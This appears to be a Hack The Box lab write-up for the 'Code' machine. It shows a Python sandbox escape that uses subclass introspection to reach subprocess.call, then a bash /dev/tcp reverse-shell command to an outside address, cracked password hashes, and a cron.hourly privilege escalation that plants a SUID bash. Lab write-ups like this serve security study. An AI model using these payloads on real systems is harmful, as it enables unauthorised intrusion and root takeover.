Code - HTB Machine

- 11 mins read

Code is a Hack The Box machine released on 22 Mar 2025

Summary (How?)

We’re presented with a Python-based code editor exposed via a web application, allowing users to write, save, and execute Python scripts. However, execution is limited by a blacklist of restricted keywords, making direct command execution impossible at first glance. The first part of the challenge involves bypassing these restrictions to achieve Remote Code Execution (RCE).

To do so, we leverage object-oriented introspection to enumerate loaded Python subclasses and locate the index of the sys module. With access to sys.modules, we enumerate all loaded modules and identify one that exposes a call function—specifically, subprocess.call()—which enables us to execute system commands and obtain a reverse shell.

With a foothold on the machine, we escalate privileges by abusing a functionality in the backy binary, which can sync arbitrary directories. By crafting a malicious task that writes a cronjob to /etc/cron.hourly, we achieve execution as root, allowing us to drop a SUID-enabled shell binary and retrieve the final flag.

Enumeration

Let’s code!

nmap scan

└─$ nmap -sC -sV $IP -oN nmap-basic
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 11:42 EDT
Nmap scan report for code.htb (10.10.11.62)
Host is up (0.17s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.82 seconds

There is a Gunicorn web server. Gunicorn (Green Unicorn) is a Python WSGI HTTP server used to run Python web applications like Flask, Django, or FastAPI in production.

Initial page

It’s a code editor and executor

image.png

It’s interesting that we are able to login/register

Many words are restricted.

image.png

You can save scripts with restricted word, but not execute them

Created an account and saved a code. Upon hover it shows the link: code_id=8

image.png

Request to create a post

image.png

Request to delete a post

image.png

Restricted words identified

  • eval
  • read
  • import
  • system
  • open
  • close
  • write
  • __builtins__
  • execl
  • os
  • subprocess

Command execution request

Endpoint: /run_code

image.png

Users with shell

martin@code:~/backup-root$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash

CVE-2024-1135

According to huntr, Gunicorn 20.0.4 is vulnerable to HTTP Request Smuggling

After trying luck with some payloads, I got to the conclusion that since we are accessing directly the backend server (presumably) there’s no front end server, so the entire idea of HTTP Request Smuggling fails

I had a glimpse of hope that maybe in the same machine there were running both of them with the frontend doing the job of filtering commands, in that case maybe we could have sent a request with the forbidden words.

I leave this discovery as it’s something in a real-world engagement I would share with the client.

RCE & User Flag - Escaping python

image.png

Every Python class (directly or indirectly) inherits from object, so this gives you a list of all classes currently loaded in memory that inherit directly from object.

We’re then checking whether any of these classes, when instantiated, give access to a _module object whose internal __dict__ contains a reference to 'sys'.

What is sys?

sys is a built-in Python module that provides access to:

  • sys.modules → all loaded modules
  • sys.argv → command-line arguments
  • sys.stdout, sys.stderr → standard output/error streams
  • sys.executable, sys.path, etc.
for i, c in enumerate((()).__class__.__base__.__subclasses__()):
    try:
        m = c()._module.__dict__
        if 'sys' in m:
            print(i)
            break
    except: pass

Code in detail:

  1. (()).__class__.__base__.__subclasses__()
  • () is a tuple. Its class is <class 'tuple'>.
  • ().__class__.__base__ gives the base class of tuple, which is object.
  • object.__subclasses__() returns a list of all currently loaded subclasses of object. This includes many built-in and user-defined classes.
  1. for i, c in enumerate(...)
  • Iterates through all subclasses of object, keeping track of the index i and the subclass c.
  1. c()._module.__dict__
  • Attempts to instantiate the subclass c() and access its _module attribute.
  • Then it tries to access the __dict__ of that module, which is a dictionary containing its attributes.
  1. if 'sys' in m:
  • Checks if the string 'sys' is one of the keys in the module’s dictionary — i.e., if the sys module is somehow imported or referenced in that module.
  1. print(i); break
  • If 'sys' is found, prints the index i of the subclass and breaks the loop

Once we know the index of sys, we can further enumerate its components to see which modules are available.

# Prints loaded modules names
print((()).__class__.__base__.__subclasses__()[139]()._module.__dict__['sys'].__dict__['modules'].keys())

Here I tried several ways to get a shell, even managed to get a connection back using the socket module, but the key was the following search in which we look for a function that has an attribute call and, in case of finding it, we print its documentation

# Here we are accessing the available modules (not just their names)
m=(()).__class__.__base__.__subclasses__()[139]()._module.__dict__['sys'].modules
for k in m:
	# If a module has a call attribute, print its built in documentation
  if m[k].__class__.__name__ == 'module' and hasattr(m[k], 'call'):
    f = m[k].call
    print(k, f.__class__, getattr(f, '__doc__', 'No doc'))
    break

Which returned

subprocess <class ‘function’> Run command with arguments. Wait for command to complete or timeout, then return the returncode attribute. The arguments are the same as for the Popen constructor. Example: retcode = call([“ls”, “-l”])

This is just what we need, ladies and gentleman, Remote Code Execution.

Finally, we use this function to get a reverse shell

m=(()).__class__.__base__.__subclasses__()[139]()._module.__dict__['sys'].modules
for k in m:
  if m[k].__class__.__name__ == 'module' and hasattr(m[k], 'call'):
    f = m[k].call
    break
f(["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.177/9001 0>&1"])

YEEES

┌──(kali㉿kali)-[~/htb-machines/2025/nocturnal]
└─$ nc -lvnp 9001
listening on [any] 9001 ...

connect to [10.10.14.177] from (UNKNOWN) [10.10.11.62] 43902
bash: cannot set terminal process group (1036): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$
app-production@code:~/app$ whoami
whoami
app-production
app-production@code:~/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
app-production@code:~/app$

And here is the user flag…

app-production@code:~/app$ cd /home/app-production
cd /home/app-production
app-production@code:~$ ls
ls
app  user.txt
app-production@code:~$ cat user.txt
**cat user.txt**
2346be1714c2b6c7e

Enumeration inside the box

It looks as we’re inside the app folder and have access to the source code…

app-production@code:~/app$ ls
ls
app.py  instance  __pycache__  static  templates

Interesting parts of the source code. Here we can see the poor validation in place (We managed to find all the restricted words!)


app-production@code:~/app$ cat app.py
cat app.py
from flask import Flask, render_template,render_template_string, request, jsonify, redirect, url_for, session, flash
from flask_sqlalchemy import SQLAlchemy
import sys
import io
import os
import hashlib

app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

[...]

@app.route('/run_code', methods=['POST'])
def  run_code():
    code = request.form['code']
    old_stdout = sys.stdout
    redirected_output = sys.stdout = io.StringIO()
    try:
        for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write', 'subprocess', '__import__', '__builtins__']:
            if keyword in code.lower():
                return jsonify({'output': 'Use of restricted keywords is not allowed.'})
        exec(code)
        output = redirected_output.getvalue()
    except Exception as e:
        output = str(e)
    finally:
        sys.stdout = old_stdout
    return jsonify({'output': output})

if __name__ == '__main__':
    if not os.path.exists('database.db'):
        with app.app_context():
            db.create_all()
    app.run(host='0.0.0.0', port=5000)
app-production@code:~/app$

Other serivces runnig in the network

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      2548/python3
tcp        0      0 10.10.11.62:5000        10.10.14.177:51904      TIME_WAIT   -
tcp        0      0 10.10.11.62:22          10.10.16.18:42854       ESTABLISHED -
tcp        0    300 10.10.11.62:51176       10.10.14.177:9001       ESTABLISHED 2580/python3
tcp6       0      0 :::22                   :::*                    LISTEN      -

An interesting database…

app-production@code:~/app$ find / -name "*database.db" 2>/dev/null
find / -name "*database.db" 2>/dev/null

/home/app-production/app/instance/database.db

Becoming martin

Once we access the sqlite database present in the system we get martin’s password hash.

app-production@code:~/app$ sqlite3 /home/app-production/app/instance/database.db
<lite3 /home/app-production/app/instance/database.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
code  user
sqlite> select * from user;
select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be

Using hashcat

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 3de6f30c4a09c27fc71932bfc68474be

Now we can ssh into the machine!

I dont know why I did this. developer’s password

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

759b74ce43947f5f4c91aeddc3e5bad3:development

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 759b74ce43947f5f4c91aeddc3e5bad3

Root flag

Enumeration

Interesting…

martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Source of backy.sh

martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

My first shot here was creating a symlink to the /root folder, back this one up and check if the /home, /var restrictions in backy.sh were bypassed, but at the end the execution would fail with errors.

martin@code:~$ ls -l attack
total 0
lrwxrwxrwx 1 martin martin 5 Jun 13 15:08 root_symlink -> /root

Continuing with the idea of backing up root’s folder, i decided to bypass the part of the code that was replacing ../ by using some techniques that would replace ${PATH:0:1} with /.

/home/martin${PATH:0:1}..${PATH:0:1}..${PATH:0:1}..${PATH:0:1}root
"/home/martin$'\x2e\x2e'/$'\x2e\x2e'/$'\x2e\x2e'/root"

These didn’t work as well. So I desisted with the idea of backing root folder up.

Directories to sync

Investigating baky I found a functionality that would sync two folders instead of backing one up. And since the restriction is only in directories_to_archive, we could use directorioes_to_sync to retrieve /root content. But there’s a problem here, since the source folder (/root) keeps its permissions when synced we wouldn’t be able to read it. But wait can we write anywhere we want? If that’s correct then maybe we can create a cronjob (which is executed as root) that writes a setuid bash shell in /tmp. Let’s try this.

First let’s check our crontab

martin@code:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

For a cronjob to execute there are some considerations

  • /etc/cron.d jobs (executed every 1 minute) must
    • Be in the crontab format
    • Owned by root
  • /etc/cron.hourly|daily|weekly
    • Be executables

These are the basic ones, and true for this system: 20.04.6 LTS (Focal Fossa)

With this in mind now we know that we cannot use /etc/cron.d as the files are written with the ownership and permission from the source, in this case, martin. So let’s build an executable that would run hourly (typically at minute 17 in Ubuntu) as root which give us a SETUID bash executable.

Crafting the payload. Here keep in mind that pwn cannot be named pwn.sh, but if it contains #!/bin/bash at the beginning, then it will be executed as a script.

cat > /home/martin/pwn << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod 755 /home/martin/pwn

Then we’ll create a task.json file with the instructions. The key here is the destination /etc/cron.hourly and the origin as our malicious executable pwn.

{
  "verbose_log": false,
  "multiprocessing": false,
  "destination": "/etc/cron.hourly",
  "archiving_cycle": "daily",
  "exclude": [],
  "directories_to_sync": [ "/home/martin/pwn" ],
  "directories_to_archive": [ "/home/martin" ]
}

Let’s check the result

martin@code:~$ ls -l /etc/cron.hourly
total 16
-rw-r--r-- 1 root   root   9780 Jun 18 19:28 code_home_martin_2025_June_18.tar.bz2
-rwxr-xr-x 1 martin martin   64 Jun 18 19:27 pwn

And after a while a file appears at /tmp…

martin@code:~$ ls /tmp
rootbash
martin@code:~$ ls -la /tmp
total 1164
drwxrwxrwt  2 root root    4096 Jun 14 05:17 .
drwxr-xr-x 18 root root    4096 Feb 24 19:44 ..
-rwsr-xr-x  1 root root 1183448 Jun 14 05:17 rootbash

The key here is that it’s a binary owned by root with the SETUID bit set (rws), meaning it executes with the owner’s UID (root). If it spawns a bash shell, using bash -p ensures the shell preserves those elevated privileges.

martin@code:~$ /tmp/rootbash -p
rootbash-5.0# id
uid=1000(martin) gid=1000(martin) euid=0(root) groups=1000(martin)
rootbash-5.0# cat /root/root.txt
a8bb32d0449e972da